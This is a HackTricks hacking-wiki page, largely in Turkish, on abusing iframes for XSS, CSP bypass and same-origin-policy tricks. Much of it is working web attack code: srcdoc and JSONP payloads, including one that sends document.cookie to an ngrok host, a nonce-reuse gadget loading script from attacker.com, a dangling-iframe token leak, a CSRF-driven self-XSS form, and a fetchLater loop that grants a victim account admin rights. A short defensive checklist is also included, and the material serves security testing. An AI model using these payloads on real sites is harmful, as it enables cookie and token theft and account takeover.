Iframes in XSS, CSP and SOP
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.
Iframes in XSS
Bir iframe içindeki sayfanın içeriğini belirtmenin 3 yolu vardır:
srcile bir URL belirterek (URL cross-origin veya same-origin olabilir)srciledata:protokolünü kullanarak içeriği belirtereksrcdocile içeriği belirterek
Parent & Child vars erişimi
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., üst belge hiçbir iframe içindeki secret değişkenine erişemeyecek ve sadece iframeler if2 & if3 (aynı-site olarak kabul edilirler) orijinal penceredeki secret’e erişebilir.
if4’ün null origin’e sahip olarak kabul edildiğine dikkat edin.
srcdoc gerçek exploits’te önemli olan tuhaflıklar
srcdoc etrafındaki iki detay exploitation sırasında kolayca gözden kaçıyor:
- Çerçeve
allow-same-originolmadan sandbox’lanmadığı sürece, birsrcdocdokümanı üst belge ile same-origin’dir. Bu nedenle, attacker-controlled HTML’isrcdociçine enjekte etmek genellikle üst dokümana doğrudan DOM erişimi vermekle eşdeğerdir. - Belge URL’si
about:srcdocolsa bile, relative URL’ler embed eden sayfanın URL’si kullanılarak base URL olarak çözülür. Bu,<script src="/upload/payload.js"></script>veya<img src="/internal/debug">gibi payload’ların hedefinin parent origin olacağı,about:srcdocolmayacağı anlamına gelir.
Pratik payload:
<iframe
srcdoc='<script src="/uploads/payload.js"></script><a href="#test">anchor</a>'></iframe>
Bu, yalnızca markup’ı kontrol ettiğiniz ancak kısıtlayıcı bir CSP olmadan saldırganın kontrolündeki JavaScript, JSONP veya HTML döndüren same-origin bir yolu bildiğiniz durumlarda özellikle kullanışlıdır.
CSP’li Iframe’lar
Tip
Aşağıdaki bypass örneklerinde, iframe içindeki sayfanın yanıtında JS yürütmesini engelleyen herhangi bir CSP başlığı bulunmadığına dikkat edin.
The self value of script-src won’t allow the execution of the JS code using the data: protocol or the srcdoc attribute.
Ancak, CSP’nin none değeri bile src attribute’una bir URL (tam veya sadece path) koyan iframe’lerin çalıştırılmasına izin verir.
Bu nedenle bir sayfanın CSP’sini şu yöntemlerle atlatmak mümkündür:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Önceki CSP’nin yalnızca inline script’in yürütülmesine izin verdiğini unutmayın.
Ancak, yalnızca if1 ve if2 script’leri çalıştırılacak, fakat sadece if1 parent secret’e erişebilecek.
.png)
Bu nedenle, sunucuya bir JS dosyası yükleyip bunu iframe ile yükleyebiliyorsanız, script-src 'none' olsa bile bir CSP’yi atlatmak mümkün olabilir. Bu aynı zamanda same-site JSONP endpoint’inin kötüye kullanılmasıyla da gerçekleştirilebilir.
Bunu, script-src 'none' olsa bile bir cookie’nin çalındığı aşağıdaki senaryoyla test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Yeni (2023-2025) CSP bypass techniques ile iframes
Araştırma topluluğu, kısıtlayıcı politikaları atlatmak için iframe’leri kötüye kullanmanın yaratıcı yollarını keşfetmeye devam ediyor. Aşağıda son birkaç yılda yayımlanan en dikkat çekici teknikleri bulabilirsiniz:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Bir uygulama HTML yansıtıyorsa ama güçlü bir CSP script çalıştırmayı engelliyorsa, hassas tokenleri leak etmek için dangling
<iframe name>attribute’unu enjekte edebilirsiniz. Kısmi markup parse edildikten sonra, ayrı bir origin’de çalışan saldırgan scripti frame’iabout:blank’a yönlendirir vewindow.name’i okur; bu değer şimdi bir sonraki tırnak karakterine kadar olan her şeyi (örneğin bir CSRF token) içerir. Victim bağlamında hiçbir JavaScript çalışmadığı için, saldırı genelliklescript-src 'none'’den kaçar. Minimal PoC:
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
- Nonce reuse via same-origin iframe – CSP nonces, same-origin belgeler tarafından DOM’dan okunabilir. Eğer bir saldırgan aynı-origin bir HTML sayfası inject veya upload edebiliyorsa ve bunu bir iframe içinde yükleyebiliyorsa, child frame
top.document.querySelector('[nonce]').nonce’i okuyup yeni<script nonce>elementleri oluşturabilir. Bu, aynı-origin HTML injection’ıstrict-dynamicaltında bile tam script yürütmeye dönüştürür (çünkü nonce zaten trusted). Aşağıdaki gadget bir markup injection’ı XSS’e yükseltir:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Form-action hijacking (PortSwigger 2024) –
form-actiondirektifini atlayan bir sayfanın login formu, injected iframe veya inline HTML’den re-targeted edilebilir; böylece parola yöneticileri kimlik bilgilerini otomatik doldurup dış bir domaine submit eder; bu,script-src 'none'olsa bile gerçekleşebilir. Her zamandefault-src’iform-actionile tamamlayın!
Savunma notları (hızlı kontrol listesi)
- İkincil bağlamları kontrol eden tüm CSP direktiflerini gönderin (
form-action,frame-src,child-src,object-src, etc.). - Nonce’ların gizli olduğuna güvenmeyin—
strict-dynamickullanın ve injection noktalarını ortadan kaldırın. - Güvenilmeyen belgeleri embed etmeniz gerektiğinde
sandbox="allow-scripts allow-same-origin"’ı çok dikkatli kullanın (veya yalnızca script yürütme izolasyonu gerekiyorsaallow-same-originolmadan). - Defense-in-depth için COOP+COEP dağıtımını düşünün; yeni
<iframe credentialless>attribute’u (§ below) üçüncü taraf embed’leri bozmadan bunu yapmanıza izin verir.
Gerçek dünyada bulunan diğer Payloads
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Bir iframe içindeki içerik sandbox özniteliğinin kullanılmasıyla ek kısıtlamalara tabi tutulabilir. Varsayılan olarak bu öznitelik uygulanmaz; yani herhangi bir kısıtlama yoktur.
Kullanıldığında sandbox özniteliği birkaç sınırlama getirir:
- İçerik, sanki benzersiz bir kaynaktan geliyormuş gibi muamele görür.
- Form gönderme girişimleri engellenir.
- Scriptlerin çalıştırılması yasaktır.
- Bazı API’lere erişim devre dışı bırakılır.
- Bağlantıların diğer tarama bağlamlarıyla etkileşime girmesi engellenir.
- Eklentilerin
<embed>,<object>,<applet>veya benzeri etiketler aracılığıyla kullanımı yasaktır. - İçeriğin kendisinin üst düzey tarayıcı bağlamını yönlendirmesi engellenir.
- Video oynatma veya form kontrollerinin otomatik olarak odaklanması gibi otomatik tetiklenen özellikler engellenir.
İpucu: Modern tarayıcılar allow-scripts, allow-same-origin, allow-top-navigation-by-user-activation, allow-downloads-without-user-activation gibi daha ayrıntılı bayrakları destekler. Gömülü uygulamanın gerektirdiği minimum yetenekleri sağlamak için bunları kombinleyin.
Özniteliğin değeri tüm yukarıdaki kısıtlamaları uygulamak için boş bırakılabilir (sandbox=""). Alternatif olarak, iframe’i belirli kısıtlamalardan muaf tutacak boşlukla ayrılmış özel değerler listesi olarak ayarlanabilir.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Eğer gömülü sayfa same-origin ise ve hem allow-scripts hem de allow-same-origin izinlerini verirseniz, sandbox çok zayıf bir sınır haline gelir. Alt çerçeve JavaScript çalıştırabilir, top.document’a erişebilir ve hatta kendi <iframe> öğesinden sandbox özniteliğini kaldırabilir:
const me = top.document.querySelector("iframe")
me.removeAttribute("sandbox")
top.location = "/admin"
Pratikte, sandbox="allow-scripts allow-same-origin" saldırgan tarafından etkilenmiş aynı-origin içerik için güvensiz olarak değerlendirilmelidir. Bazı üçüncü taraf embed’ler için hâlâ yararlı olsa da, düşmanca aynı-origin HTML’e karşı bir izolasyon sınırı değildir.
Credentialless iframe’ler
As explained in this article, iframe içinde kullanılan credentialless flag’i, iframe’e yüklenen sayfanın same origin policy (SOP) korunurken istekte kimlik bilgileri gönderilmeden bir sayfanın iframe içinde yüklenmesini sağlar.
Since Chrome 110 (February 2023) the feature is enabled by default ve spec anonymous iframe adıyla tarayıcılar arasında standardize ediliyor. MDN bunu şu şekilde tanımlar: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Saldırganlar ve savunucular için sonuçlar:
- Farklı credentialless iframe’lerdeki script’ler hala aynı top-level origin’i paylaşır ve DOM üzerinden serbestçe etkileşime girebilir; bu da multi-iframe self-XSS saldırılarını mümkün kılar (aşağıdaki PoC’ye bakınız).
- Ağ credential-stripped olduğundan, iframe içindeki herhangi bir istek etkili olarak kimlik doğrulaması yapılmamış bir oturum gibi davranır – CSRF korumalı endpoint’ler genellikle başarısız olur, ancak DOM aracılığıyla leakable olan public sayfalar hâlâ kapsama girer.
- Depolama üst seviye doküman nonce’u ile bölümlenmiştir: aynı sayfadaki credentialless frame’ler birbirleriyle depolama paylaşabilir, ancak üst seviye doküman atıldığında temizlenir.
- credentialless iframe’den açılan pop-up’lara örtük olarak
rel="noopener"atanır; bu bazı OAuth akışlarını bozabilir. - Tarayıcıların credentialless iframe’ler içinde autofill/password manager’ları devre dışı bırakması beklenir; bu durum bu bağlamlarda autofill yoluyla credential hırsızlığını sınırlar.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Exploit örneği: Self-XSS + CSRF
Bu saldırıda, saldırgan 2 iframe içeren kötü niyetli bir web sayfası hazırlar:
- Kurbanın sayfasını
credentiallessbayrağıyla yükleyen ve bir CSRF içeren bir iframe; bu CSRF bir XSS tetikliyor (kullanıcının username alanında bir Self-XSS hayal edin):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Diğer bir iframe ise kullanıcı gerçekten giriş yapmış durumda (without the
credentiallessflag).
Sonra, XSS’ten diğer iframe’e erişmek mümkün olur çünkü aynı SOP’ye sahipler ve örneğin cookie’yi çalmak için şu işlemi gerçekleştirebilirsiniz:
alert(window.top[1].document.cookie);
fetchLater Attack
Bu makalede belirtildiği gibi API fetchLater, ileride çalıştırılacak bir isteğin yapılandırılmasına izin veriyor. Bu, örneğin hedefi saldırganın oturumu içinde giriş yaptırmak (Self-XSS ile), bir fetchLater isteği planlamak (örneğin mevcut kullanıcının şifresini değiştirmek) ve saldırganın oturumundan çıkış yaptırmak için kötüye kullanılabilir. Daha sonra hedef kendi oturumuna giriş yaptığında, ertelenmiş istek gönderim anında kullanılabilir çerezleri kullanarak çalıştırılabilir ve hedefin şifresini saldırganın belirlediği şifreye değiştirebilir.
Operasyonel notlar:
fetchLater, 2024’te Chrome origin trial’a girdi ve Chrome 135’te (Nisan 2025) dağıtıldı; bu yüzden ona güvenmeden önce özelliğin varlığını kontrol edin.- Yanıt JavaScript için kullanılamaz; body/headers, ertelenmiş istek gönderildikten sonra göz ardı edilir.
- CSP uygulaması ertelenmiş istekler için
connect-srckullanır (script-srcdeğil). - İstekler sayfanın unload olması sırasında veya
activateAftersüresi dolduğunda tetiklenir (hangisi önce gerçekleşirse). - Tek seferlik maksimum gecikme şu anda
299000ms’dir, bu nedenle uzun beklemeler birden fazla ertelenmiş isteğin yeniden planlanmasını gerektirir.
Böylece, hedef URL bir iframe içinde yüklenemese bile (CSP veya diğer kısıtlamalar nedeniyle), saldırgan yine de hedefin oturumunda bir isteği çalıştırabilir.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
for (let i = 1; i <= 20; i++)
fetchLater(req,{activateAfter: i * 299000})
SOP’ta Iframes
Aşağıdaki sayfaları inceleyin:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Referanslar
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- PortSwigger Research – Bypassing CSP with dangling iframes (Jun 2022)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
- MDN – Window.fetchLater()
- MDN –
<iframe>element - MDN –
HTMLIFrameElement.srcdoc
Tip
AWS Hacking öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna, telegram grubuna katılın, X/Twitter üzerinde @hacktricks_live hesabını takip edin veya LinkedIn sayfasını ve YouTube kanalını kontrol edin.
- HackTricks ve HackTricks Cloud github depolarına PR göndererek hacking tricks paylaşın.


